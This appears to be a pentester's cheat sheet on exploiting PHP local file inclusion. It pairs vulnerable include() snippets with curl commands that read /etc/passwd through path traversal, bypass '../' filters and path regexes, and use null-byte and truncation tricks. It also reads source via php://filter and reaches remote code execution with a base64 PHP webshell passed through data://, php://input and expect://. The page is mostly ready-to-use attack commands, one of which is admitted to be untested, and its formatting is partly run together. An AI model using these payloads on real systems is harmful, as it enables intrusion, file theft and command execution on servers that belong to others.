Php include()#
File in current directory#
This code read the file with the name directly from the language GET parameter
eg. ?language=es.php to get the file es.php
include($_GET['language']);We can do this:
curl "http://$target/index.php?language=/etc/passwd"File in specified directory#
This code read a file in ./language directory with the name directly from the language GET parameter
eg. ?language=es.php to get the file ./language/es.php
include("./languages/" . $_GET['language']);We can do this:
curl "http://$target/index.php?language=../../../../etc/passwd"You can increase the number of
../and still get to root, so if you want to be sure you get to the root (/) directory, you can just put 10../
Filename prefix#
This code reads the file with lang_ as prefix
eg. ?language=es.php to get the file lang_es.php
include("lang_" . $_GET['language']);We can do this:
curl "http://$target/index.php?language=/../../../../etc/passwd"File extension#
This code reads a file with .php extension
eg. ?language=es to get the file es.php
include($_GET['language'] . ".php");PHP has a limitation of 4096 characters. So we can append the path with ./
We can do this:
I did not test this
echo -n "non_existing_directory/../../../../../etc/passwd/" > lfiPath && for i in {1..2048}; do echo -n "./" >> lfiPath; done
curl "http://$target/index.php?language=$(cat lfiPath)"Another way to do this: PHP versions before 5.5 were vulnerable to null byte injection, which means we can terminate the string, so the .php extension is not considered as part of the string
curl "http://$target/index.php?language=non_existing_directory/../../../../../etc/passwd%00"Path traversal filter#
This code reads the file name from language GET parameter, but remove any ../ characters
eg. ?language=../../../../es.php will read the file es.php
$language = str_replace('../', '', $_GET['language']);
include('./languages/' . $language);We can do this:
curl "http://$target/index.php?language=....//....//....//....//etc/passwd"Approved path#
This code only approve path that starts with ./languages/
eg. ?language=./languages/es.php will read the file ./languages/es.php, but ?language=./somedir/somefile is going to be error
if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {
include($_GET['language']);
} else {
echo 'Illegal path specified!';
}We can do this:
curl "http://$target/index.php?language=./languages/../../../../etc/passwd"PHP filters#
Sometimes, when we want to read a
.phpfile, it’s not possible since it will try to convert the.phpfile into html and displaying it. If we don’t want that, we can use PHP Filters We needresourceandreadfilter for our attack, usually. Some more reading materials: String Filters, Conversion Filters, Compression Filters, Encryption Filters
So for example, we want to read config.php file, we can convert the file into base64 string and display it.
curl "http://$target/index.php?language=php://filter/read=convert.base64-encode/resource=config.php"RCE#
Data:// wrapper#
Check permission#
We need
allow_url_includesetting enabled to do this, we can check for it by reading PHP config at/etc/php/X.Y/apache2/php.iniforapacheor/etc/php/X.Y/fpm/php.iniforNginx. WithX.Ybeing PHP version Use the same LFI techniques above to read the file and check forallow_url_includesetting. We need it to beOn
First we convert a simple PHP webshell into base64
echo '<?php system($_GET["cmd"]); ?>' | base64
PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==Then we can run commands. Use GET parameter &cmd=<command> to execute system commands.
curl -s "http://$target/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id"php://input#
Similar to the
datawrapper, the input wrapper can be used to execute PHP code. But we pass our input to theinputwrapper as a POST request’s data. So, the vulnerable parameter must accept POST requests for this attack to work. Finally, theinputwrapper also depends on theallow_url_include
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://$target/index.php?language=php://input&cmd=id"Expect:// wrapper#
expectis an external wrapper, so it needs to be manually installed and enabled on the back-end server. We can read php config file to see if it is installed and enabled, likeextension=expect
curl -s "http://$target/index.php?language=expect://id"